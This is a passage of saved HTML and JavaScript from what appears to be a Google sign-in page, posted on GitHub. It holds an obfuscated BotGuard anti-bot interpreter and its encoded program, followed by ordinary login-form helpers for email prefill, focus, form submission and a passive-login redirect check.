eval(a)}(a.a(b)))},function(a,b,c){b=G(a),c=G(a),z(a,c,a.a(c)-a.a(b))},function(a,b){b=H(a),z(a,b.P,b.O.apply(b.self,b.D))},function(a,b,c){b=G(a),c=G(a),z(a,c,a.a(c)%a.a(b))},function(a,b,c,d,e){b=G(a),c=a.a(G(a)),d=a.a(G(a)),e=a.a(G(a)),a.a(b).addEventListener(c,D(a,d,e,true),false)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),a.a(b)[a.a(c)]=a.a(d)},function(){},function(a,b,c){b=G(a),c=G(a),z(a,c,a.a(c)+a.a(b))},function(a,b,c){b=G(a),c=G(a),0!=a.a(b)&&z(a,a.b,a.a(c))},function(a,b,c,d){b=G(a),c=G(a),d=G(a),a.a(b)==a.a(c)&&z(a,d,a.a(d)+1)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),a.a(b)>a.a(c)&&z(a,d,a.a(d)+1)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,a.a(b)<<c)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,a.a(b)|a.a(c))},function(a,b){b=a.a(G(a)),A(a,b)},function(a,b,c,d){if(b=a.K.pop()){for(c=G(a);0<c;c--)d=G(a),b[d]=a.c[d];a.c=b}else z(a,a.b,a.e.length)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,(a.a(b)in a.a(c))+0)},function(a,b,c,d){b=G(a),c=a.a(G(a)),d=a.a(G(a)),z(a,b,D(a,c,d))},function(a,b,c){b=G(a),c=G(a),z(a,c,a.a(c)*a.a(b))},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,a.a(b)>>c)},function(a,b,c,d){b=G(a),c=G(a),d=G(a),z(a,d,a.a(b)||a.a(c))},function(a,b,c,d,e){b=H(a),c=b.D,d=b.self,e=b.O;switch(c.length){case 0:c=new d[e];break;case 1:c=new d[e](c[0]);break;case 2:c=new d[e](c[0],c[1]);break;case 3:c=new d[e](c[0],c[1],c[2]);break;case 4:c=new d[e](c[0],c[1],c[2],c[3]);break;default:a.g(a.B);return}z(a,b.P,c)},function(a,b,c,d,e,h){if(b=G(a),c=G(a),d=G(a),e=G(a),b=a.a(b),c=a.a(c),d=a.a(d),a=a.a(e),"object"==t(b)){for(h in e=[],b)e.push(h);b=e}for(e=0,h=b.length;e<h;e+=d)c(b.slice(e,e+d),a)}],M.prototype.ia=function(a){return(a=window.performance)&&a.now?function(){return a.now()|0}:function(){return+new Date}}(),M.prototype.ha=function(a,b){return b=this.Q(),a&&a(b),b},M.prototype.t=function(a,b,c,d,e,h){try{for(b=5001,c=k,d=0,a=this.e.length;--b&&(d=this.a(this.b))<a;)try{z(this,this.m,d),e=G(this)%this.M.length,(c=this.M[e])?c(this):this.g(this.W,0,e)}catch(l){l!=this.A&&((h=this.a(this.l))?(z(this,h,l),z(this,this.l,0)):this.g(this.B,l))}b||this.g(this.X)}catch(n){try{this.g(this.B,n)}catch(m){v(this,m)}}return this.a(this.k)},M.prototype.Q=function(a,b,c,d,e,h,l,n,m,y,r){if(this.n)return this.n;try{if(this.s=false,b=this.a(this.d).length,c=this.a(this.f).length,d=this.a(this.j),this.c[this.L]&&C(this,this.a(this.L)),e=this.a(this.h),0<e.length&&N(this,this.d,E(e.length,2).concat(e),this.R),h=this.a(this.p)&255,h-=this.a(this.d).length+4,l=this.a(this.f),4<l.length&&(h-=l.length+3),0<h&&N(this,this.d,E(h,2).concat(w(h)),this.S),4<l.length&&N(this,this.d,E(l.length,2).concat(l),this.T),n=[3].concat(this.a(this.d)),window.btoa?(y=window.btoa(F(n)),m=y=y.replace(/\\+/g,"-").replace(/\\//g,"_").replace(/=/g,"")):m=k,m)m="!"+m;else for(m="",e=0;e<n.length;e++)r=n[e][this.J](16),1==r.length&&(r="0"+r),m+=r;this.a(this.d).length=b,this.a(this.f).length=c,z(this,this.j,d),a=m,this.s=true}catch(u){v(this,u),a=this.n}return a};try{window.addEventListener("unload",function(){},false)}catch(O){}s("botguard.bg",M),s("botguard.bg.prototype.invoke",M.prototype.ha);') })()</script><script type="text/javascript">
document.bg = new botguard.bg('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');
</script><script>
function gaia_parseFragment() {
var hash = location.hash;
var params = {};
if (!hash) {
return params;
}
var paramStrs = decodeURIComponent(hash.substring(1)).split('&');
for (var i = 0; i < paramStrs.length; i++) {
var param = paramStrs[i].split('=');
params[param[0]] = param[1];
}
return params;
}
function gaia_prefillEmail() {
var form = null;
if (document.getElementById) {
form = document.getElementById('gaia_loginform');
}
if (form && form.Email &&
(form.Email.value == null || form.Email.value == '')
&& (form.Email.type != 'hidden')) {
hashParams = gaia_parseFragment();
if (hashParams['Email'] && hashParams['Email'] != '') {
form.Email.value = hashParams['Email'];
}
}
}
try {
gaia_prefillEmail();
} catch (e) {
}
</script><script>
function gaia_setFocus() {
var form = null;
var isFocusableField = function (inputElement) {
if (!inputElement) {
return false;
}
if (inputElement.type != 'hidden' && inputElement.focus &&
inputElement.style.display != 'none') {
return true;
}
return false;
};
var isFocusableErrorField = function (inputElement) {
if (!inputElement) {
return false;
}
var hasError = inputElement.className.indexOf('form-error') > -1;
if (hasError && isFocusableField(inputElement)) {
return true;
}
return false;
};
var isFocusableEmptyField = function (inputElement) {
if (!inputElement) {
return false;
}
var isEmpty = inputElement.value == null || inputElement.value == '';
if (isEmpty && isFocusableField(inputElement)) {
return true;
}
return false;
};
if (document.getElementById) {
form = document.getElementById('gaia_loginform');
}
if (form) {
var userAgent = navigator.userAgent.toLowerCase();
var formFields = form.getElementsByTagName('input');
for (var i = 0; i < formFields.length; i++) {
var currentField = formFields[i];
if (isFocusableErrorField(currentField)) {
currentField.focus();
var currentValue = currentField.value;
currentField.value = '';
currentField.value = currentValue;
return;
}
}
for (var j = 0; j < formFields.length; j++) {
var currentField = formFields[j];
if (isFocusableEmptyField(currentField)) {
currentField.focus();
return;
}
}
}
}
gaia_attachEvent(window, 'load', gaia_setFocus);
</script><script>
var gaia_scrollToElement = function (element) {
var calculateOffsetHeight = function (element) {
var curtop = 0;
if (element.offsetParent) {
while (element) {
curtop += element.offsetTop;
element = element.offsetParent;
}
}
return curtop;
}
var siginOffsetHeight = calculateOffsetHeight(element);
var scrollHeight = siginOffsetHeight - window.innerHeight +
element.clientHeight + 0.02 * window.innerHeight;
window.scroll(0, scrollHeight);
}
</script><script>
(function () {
var signinInput = document.getElementById('signIn');
gaia_onLoginSubmit = function () {
try {
document.bg.invoke(function (response) {
document.getElementById('bgresponse').value = response;
});
} catch (err) {
document.getElementById('bgresponse').value = '';
}
return true;
}
document.getElementById('gaia_loginform').onsubmit = gaia_onLoginSubmit;
var signinButton = document.getElementById('signIn');
gaia_attachEvent(window, 'load', function () {
gaia_scrollToElement(signinButton);
});
})();
</script><script> var e = this, g = function (c, b) { var a = c.split("."), d = e; a[0] in d || !d.execScript || d.execScript("var " + a[0]); for (var f; a.length && (f = a.shift()); ) a.length || void 0 === b ? d[f] ? d = d[f] : d = d[f] = {} : d[f] = b }; var h = function () { try { return new XMLHttpRequest } catch (c) { for (var b = ["MSXML2.XMLHTTP.6.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"], a = 0; a < b.length; a++) try { return new ActiveXObject(b[a]) } catch (d) { } } return null }; g("gaia.ajax.newXmlHttpRequest", h); var k = function () { this.b = h(); this.parameters = {} }; g("gaia.ajax.XmlHttpFormRequest", k); k.prototype.a = function () { }; k.prototype.oncomplete = k.prototype.a;
k.prototype.send = function (c) { var b = [], a; for (a in this.parameters) b.push(a + "=" + encodeURIComponent(this.parameters[a])); var b = b.join("&"), d = this.b, f = this.a; d.open("POST", c, !0); d.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); d.onreadystatechange = function () { 4 == d.readyState && f({ status: d.status, text: d.responseText }) }; d.send(b) }; k.prototype.send = k.prototype.send;
k.prototype.d = function (c, b) { var a = this.b, d = this.a; a.open("POST", c, !0); a.setRequestHeader("Content-type", "application/json"); a.onreadystatechange = function () { 4 == a.readyState && d({ status: a.status, text: a.responseText }) }; a.send(b) }; k.prototype.sendJson = k.prototype.d; k.prototype.c = function (c) { var b = this.a, a = this.b; a.open("GET", c, !0); a.onreadystatechange = function () { 4 == a.readyState && b({ status: a.status, text: a.responseText }) }; a.send() }; k.prototype.get = k.prototype.c; var l = /\s*;\s*/, m = function () { if (!document.cookie) return ""; for (var c = document.cookie.split(l), b = 0; b < c.length; b++) { var a = c[b], a = a.replace(/^\s+/, ""), a = a.replace(/\s+$/, ""); if (0 == a.indexOf("APISID=")) return a.substr(7) } return "" }; var n = null, p = function (c, b) { this.d = c; this.c = b; this.b = m() }, q = function () { var c = n, b = m(); b != c.b && (c.b = b, b = new k, b.a = function (a) { var b = n; a && a.status && 200 == a.status && "OK" == a.text && (b.a && clearInterval(b.a), window.location = b.d) }, b.c(c.c)) }, r = function (c) { var b = n; if (b.a) return !1; b.a = setInterval(function () { q() }, c); return !0 }; g("gaia.loginAutoRedirect.start", function (c, b, a) { if (n || !a || !b || 0 >= c) return !1; n = new p(b, a); return r(c) });
</script><script type="text/javascript">
gaia.loginAutoRedirect.start(5000,
'https:\x2F\x2Faccounts..com\x2FServiceLogin?continue=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s%23\x26followup=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s\x26service=wise\x26ltmpl=\x26passive=1209600\x26noautologin=true',
'https:\x2F\x2Faccounts..com\x2FPassiveLoginProber?continue=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s%23\x26followup=https%3A%2F%2F..com%2F%3Furp%3Dhttp%3A%2F%2Fwww..co.za%2Furl%3Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526s\x26service=wise\x26ltmpl=\x26passive=1209600');
</script></body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment